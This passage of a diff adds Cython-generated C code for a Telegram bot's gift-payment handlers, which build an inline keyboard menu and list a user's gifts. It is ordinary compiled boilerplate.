__pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_user_tg_id __pyx_mstate_global->__pyx_n_s_user_tg_id +#define __pyx_n_s_utcnow __pyx_mstate_global->__pyx_n_s_utcnow +#define __pyx_n_s_uuid __pyx_mstate_global->__pyx_n_s_uuid +#define __pyx_n_s_uuid4 __pyx_mstate_global->__pyx_n_s_uuid4 +#define __pyx_n_s_validate_client_code __pyx_mstate_global->__pyx_n_s_validate_client_code +#define __pyx_kp_u_wmic_cpu_get_ProcessorId __pyx_mstate_global->__pyx_kp_u_wmic_cpu_get_ProcessorId +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_3 __pyx_mstate_global->__pyx_int_3 +#define __pyx_int_4 __pyx_mstate_global->__pyx_int_4 +#define __pyx_int_30 __pyx_mstate_global->__pyx_int_30 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__8 __pyx_mstate_global->__pyx_tuple__8 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 +#define __pyx_tuple__41 __pyx_mstate_global->__pyx_tuple__41 +#define __pyx_tuple__45 __pyx_mstate_global->__pyx_tuple__45 +#define __pyx_tuple__48 __pyx_mstate_global->__pyx_tuple__48 +#define __pyx_tuple__49 __pyx_mstate_global->__pyx_tuple__49 +#define __pyx_tuple__50 __pyx_mstate_global->__pyx_tuple__50 +#define __pyx_tuple__51 __pyx_mstate_global->__pyx_tuple__51 +#define __pyx_tuple__52 __pyx_mstate_global->__pyx_tuple__52 +#define __pyx_tuple__53 __pyx_mstate_global->__pyx_tuple__53 +#define __pyx_tuple__54 __pyx_mstate_global->__pyx_tuple__54 +#define __pyx_tuple__55 __pyx_mstate_global->__pyx_tuple__55 +#define __pyx_tuple__57 __pyx_mstate_global->__pyx_tuple__57 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__21 __pyx_mstate_global->__pyx_codeobj__21 +#define __pyx_codeobj__25 __pyx_mstate_global->__pyx_codeobj__25 +#define __pyx_codeobj__32 __pyx_mstate_global->__pyx_codeobj__32 +#define __pyx_codeobj__39 __pyx_mstate_global->__pyx_codeobj__39 +#define __pyx_codeobj__56 __pyx_mstate_global->__pyx_codeobj__56 +#define __pyx_ustring__22 __pyx_mstate_global->__pyx_ustring__22 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_1start_menu_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_start_menu_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\264\320\273\321\217 \320\272\320\276\320\273\320\261\321\215\320\272\320\260 'start'. \320\237\320\276\320\272\320\260\320\267\321\213\320\262\320\260\320\265\321\202 \320\274\320\265\320\275\321\216 \321\201 \320\272\320\275\320\276\320\277\320\272\320\260\320\274\320\270 '\320\241\320\276\320\267\320\264\320\260\321\202\321\214 \320\277\320\276\320\264\320\260\321\200\320\276\320\272' \320\270 '\320\234\320\276\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270'."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_1start_menu_handler = {"start_menu_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_1start_menu_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_start_menu_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_1start_menu_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("start_menu_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 26, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "start_menu_handler") < 0)) __PYX_ERR(0, 26, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_callback_query = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("start_menu_handler", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 26, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.start_menu_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_start_menu_handler(__pyx_self, __pyx_v_callback_query); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_start_menu_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("start_menu_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 26, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_start_menu_handler, __pyx_n_s_start_menu_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.start_menu_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("start_menu_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 26, __pyx_L1_error) + + /* "handlers/payments/gift.py":30 + * """ 'start'. ' ' ' '.""" + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gift")) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":32 + * builder = InlineKeyboardBuilder() + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gift")) # <<<<<<<<<<<<<< + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="my_gifts")) + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_gift) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":34 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gift")) + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="my_gifts")) # <<<<<<<<<<<<<< + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_types); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_my_gifts) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":35 + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="my_gifts")) + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_types); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":37 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , ! ", reply_markup=builder.as_markup() + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":38 + * + * await callback_query.message.answer( + * text=" , ! ", reply_markup=builder.as_markup() # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_b_b) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":37 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , ! ", reply_markup=builder.as_markup() + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 37, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 37, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("start_menu_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_4my_gifts_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_3my_gifts_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\264\320\273\321\217 \320\272\320\276\320\273\320\261\321\215\320\272\320\260 '\320\234\320\276\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270'. \320\237\320\276\320\272\320\260\320\267\321\213\320\262\320\260\320\265\321\202 \321\201\320\277\320\270\321\201\320\276\320\272 \320\277\320\276\320\264\320\260\321\200\320\272\320\276\320\262 \320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\217."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_4my_gifts_handler = {"my_gifts_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_4my_gifts_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_3my_gifts_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_4my_gifts_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("my_gifts_handler (wrapper)", 